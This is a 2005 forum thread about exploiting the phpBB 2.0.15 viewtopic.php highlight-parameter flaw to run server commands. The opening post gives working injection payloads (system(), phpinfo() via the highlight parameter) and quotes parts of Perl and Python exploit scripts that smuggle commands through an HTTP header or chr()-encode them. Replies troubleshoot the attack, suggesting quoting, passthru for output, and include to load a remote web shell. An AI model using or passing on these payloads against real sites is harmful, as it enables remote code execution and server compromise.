Forums: Understanding The Phpbb 2.0.15 "viewtopic.php" Exp - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Understanding The Phpbb 2.0.15 "viewtopic.php" Exp

#1 User is offline   crock 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 83
  • Joined: 08-September 04

Post icon  Posted 18 July 2005 - 05:29 AM

Hi,

I'm trying to understand the exploits on the phpBB 2.0.15 "viewtopic.php" vulnerability.

I figured out several commands myself like:

&highlight='.system(logname).' where logname is just a unix command
or
&highlight='.phpinfo().'
or
&highlight='.printf(test).'

which are just basic php commands.
But, if I try a command with spaces like:

&highlight='.system(echo hello world).'

I get nothing. It is also changed to
&highlight='.system(echo%20hello%20world).' But nothing seems to happen.
I understand there must be a way to convert these spaces to something that will work.
I've tried reading both shell-exploits (a perl version and a python version),
but can't figure it out:

from the perl exploit:
 my $cmd  = "echo \"#PHPBBEXPLOIT#\";".$_[0].";echo \"#PHPBBEXPLOIT#\"";
  my $string = "GET /$url&highlight='.system(getenv(HTTP_PHP)).' HTTP/1.1\n".
          "Host: $server\nPHP: $cmd\n\n\n\n";
  my $socket = IO::Socket::INET->new(PeerAddr => $server,
        PeerPort => $port,
        Proto  => "tcp",
        Type   => SOCK_STREAM)
        or die "can't connect to: $server : $@\n";
  print $socket $string;

which does something with the HTTP_PHP variable

from the python exploit:
def makecmd(cmd):
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))

wich does something with the chr(%d) .

But because I have no experience with perl or python, I can't seem to figure out how the exploits convert the spaces to something that will work.

Could somebody help.

thx,
0

#2 User is offline   pita 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 153
  • Joined: 15-September 03

Posted 18 July 2005 - 07:05 AM

its just a delimiter, with this he know that what the exploit have to show is between the delimiter.
and of course if the delimiter is not here, the exploit know that the target wasn't exploited.
0

#3 User is offline   crock 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 83
  • Joined: 08-September 04

Posted 18 July 2005 - 02:25 PM

ah, so the chr(%d) is his delimiter, interesting...

but the question was, how do I use spaces in commands?
How can I make the command:
&highlight='.system(echo hello world).'

work?
0

#4 User is offline   pr0t0type 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 104
  • Joined: 21-October 03

Posted 18 July 2005 - 03:58 PM

You'll want to enclose your command inside either ' or " quotes i'd imagine. The php system() command takes 2 arguments, only the first one is usefull for a command so the spaces will probably be a syntax error.

&highlight='.system("echo hello world").'

0

#5 User is offline   stay 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 493
  • Joined: 19-June 05

Posted 18 July 2005 - 06:02 PM

system() has a return value, it's not like phpinfo() which gives automatically something out. so system() wil never output you something on the screen without extra code ;)

http://php.net/manua...tion.system.php
0

#6 User is offline   Nick W 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 1,250
  • Joined: 12-August 03

Posted 19 July 2005 - 01:30 AM

stay is absolutely right. when you do that, you won't get a result, you'll just get maybe 0 or 1 telling you if it worked or not.
0

#7 User is offline   brOmstar 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 353
  • Joined: 12-January 04

Posted 20 July 2005 - 12:18 PM

simply use passthru instead of system to get the output..
0

#8 User is offline   ShoCK FX 

  • Private
  • Icon
  • Group: Members
  • Posts: 11
  • Joined: 20-June 05

Posted 20 July 2005 - 09:15 PM

or use include instead and use your online shell :rolleyes:
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting